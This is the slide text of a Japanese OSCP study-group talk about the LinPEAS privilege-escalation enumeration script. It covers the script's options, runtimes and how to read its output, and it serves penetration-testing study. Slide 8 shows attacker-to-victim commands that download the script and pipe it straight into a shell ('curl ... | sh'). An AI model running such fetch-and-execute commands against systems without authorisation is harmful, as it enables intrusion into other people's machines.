Slide 1

Slide 1 text

権限昇格がんばるぞい LinPEAS編 2023/05/04 OSCP勉強会 in 秋葉原オフ会 きとう

Slide 2

Slide 2 text

自己紹介 なまえ • きとう、てきとう、tkito • Twitter: @tkito しゅみ • ゲームしたり海に潜ったり徳を積んだり 2 おしごと • 企業でSOCの中の人とかIRとか 権限昇格がんばるぞい LinPEAS編

Slide 3

Slide 3 text

おことわり 権限昇格がんばるぞい LinPEAS編 3 気になって調べてみたものを発表します 役に立つかもしれないし、立たないかもしれない お手柔らかに

Slide 4

Slide 4 text

LinPEAS Linux Privilege Escalation Awesome Script • https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS • 権限昇格できそうなところを調査してくれるすごいやつ • HackTricksに書かれている項目を調べる • https://book.hacktricks.xyz/linux-hardening/privilege-escalation • アイコンがかわいい • PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation の1つ • ほかにはWinPEAS, MacPEASがある(MacPEASはLinPEASに同梱) • アイコンがかわいい 権限昇格がんばるぞい LinPEAS編 4

Slide 5

Slide 5 text

LinPEASとOSCP • https://twitter.com/s_tajima/status/1385247545694191616 権限昇格がんばるぞい LinPEAS編 5

Slide 6

Slide 6 text

OSCP試験の制限 • https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide 権限昇格がんばるぞい LinPEAS編 6

Slide 7

Slide 7 text

LinPEASの使用はOK • 当時は自動で権限昇格するコードがあったが今はない • OffSecのブログに詳細 • https://www.offsec.com/offsec/understanding-pentest-tools-scripts • Understanding the tools/scripts you use in a Pentest • ペンテストで使うツール/スクリプトを理解しよう • 十分に理解していないツールを実行することは顧客のシステム、顧客との関係、本人の評価に悪影響がありうる • ツールの更新があった場合には変更内容を把握することが重要 • 次に同じようなことがあったら問答無用でダメ • LinPEASについて詳しく知ろう 権限昇格がんばるぞい LinPEAS編 7

Slide 8

Slide 8 text

LinPEAS • ファイル • linpeas.sh の1つだけ(バイナリファイル版もある) • 実行場所 • ターゲットのマシン • 実行方法 • ターゲット上にファイルを持って行って直接実行 • Attacker: python3 –m http.server 80 • Victim: wget http:///linpeas.sh sh linpeas.sh • ターゲットのメモリ上で実行 • Victim: curl http:///linpeas.sh | sh curl http:///linpeas.sh | sh -s -- -h 権限昇格がんばるぞい LinPEAS編 8

Slide 9

Slide 9 text

LinPEASのオプション 権限昇格がんばるぞい LinPEAS編 9

Slide 10

Slide 10 text

LinPEASのオプション(主なもの) オプション 内容 -o 特定のタスクのみ実行 system_information, container, cloud, procs_crons_timers_srvcs_sockets, network_information, users_information, software_information, interesting_perms_files, interesting_files, api_keys_regex からカンマ区切りで指定 -s さらに早く -e 追加の列挙を実行 -r 正規表現によるチェックを実行(時間がかかる) -a [隠しオプション???] -eよりもう少し詳細 権限昇格がんばるぞい LinPEAS編 10

Slide 11

Slide 11 text

LinPEASのオプション(内部処理) 権限昇格がんばるぞい LinPEAS編 11 linpeas.sh : FAST="1" #By default stealth/fast mode : while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do case "$opt" in h|¥?) printf "%s¥n¥n" "$HELP$NC"; exit 0;; a) FAST="";EXTRA_CHECKS="1";; s) SUPERFAST=1;; e) EXTRA_CHECKS="1";; : r) REGEXES="1";;

Slide 12

Slide 12 text

オプションごとの実行時間 timeコマンドを使って計測 権限昇格がんばるぞい LinPEAS編 12 オプション 実行時間 -s real 2m20.828s オプションなし real 1m58.639s -e real 2m15.846s -a real 5m29.788s -r real 14m36.362s

Slide 13

Slide 13 text

-e と –a の違い • -a だとFASTフラグが0になる • FASTフラグが0だと詳細チェックが実行される • 例:SUIDチェック時に見慣れないバイナリがあった場合、詳細チェックをする • stringsによる関数呼び出しの推測 • straceによる動的解析 権限昇格がんばるぞい LinPEAS編 13

Slide 14

Slide 14 text

-o のオプション • system_information • container • cloud • procs_crons_timers_srvcs_sockets • network_information • users_information • software_information • interesting_perms_files • interesting_files • api_keys_regex 権限昇格がんばるぞい LinPEAS編 14

Slide 15

Slide 15 text

出力内容の見方 • 出力ファイルを less -r で処理することで色付きで確認できる • いちいち「バイナリファイルだぞ」って出てくるのが鬱陶しい • やばそうなものには色がつく • RED/YELLOWは概ね信頼できる • REDはノイズが多い 権限昇格がんばるぞい LinPEAS編 15

Slide 16

Slide 16 text

出力の使い方 • Google is you friend. • だいたいRED/YELLOWのキーワードと”pentest”でググれば使える情報が出てくる 例:「no_root_squash pentest」 • GTFOBins is your best friend. • https://gtfobins.github.io/ • SUIDチェックでRED/YELLOWを出すのに使ってるバイナリリストはGTFOBinsの情報をもとに作っているので、 GTFOBinsを見れば大体出てくる 権限昇格がんばるぞい LinPEAS編 16

Slide 17

Slide 17 text

RED/YELLOWの探し方 • 目grep • RED/YELLOWは目立つので意外と見つけやすい • 出力行数全体が多くなるので砂漠の中から砂金を探すようなことになることも… • grepで抜き出す • RED/YELLOWなどの色付けはエスケープシーケンスで記述されてるのでシーケンスでgrepすればい ける • fgrep “[1;31;103m” • コンテキストが消失するのでどういうものとして出てきたのかが不明になる 権限昇格がんばるぞい LinPEAS編 17

Slide 18

Slide 18 text

まとめ • LinPEASの調査をした • オプションによる実行時間の違い • 実行内容の違い • 出力の見方とフィルタ • 出力が長くて大変なので賢くフィルタする何かを作りたい 権限昇格がんばるぞい LinPEAS編 18

Slide 19

Slide 19 text

おわりに • LinPEASはすごいね • でも頼り切るんじゃなくてうまく使いこなすようにしていきましょう 権限昇格がんばるぞい LinPEAS編 19

Slide 20

Slide 20 text

おしまい きとう @tkito 20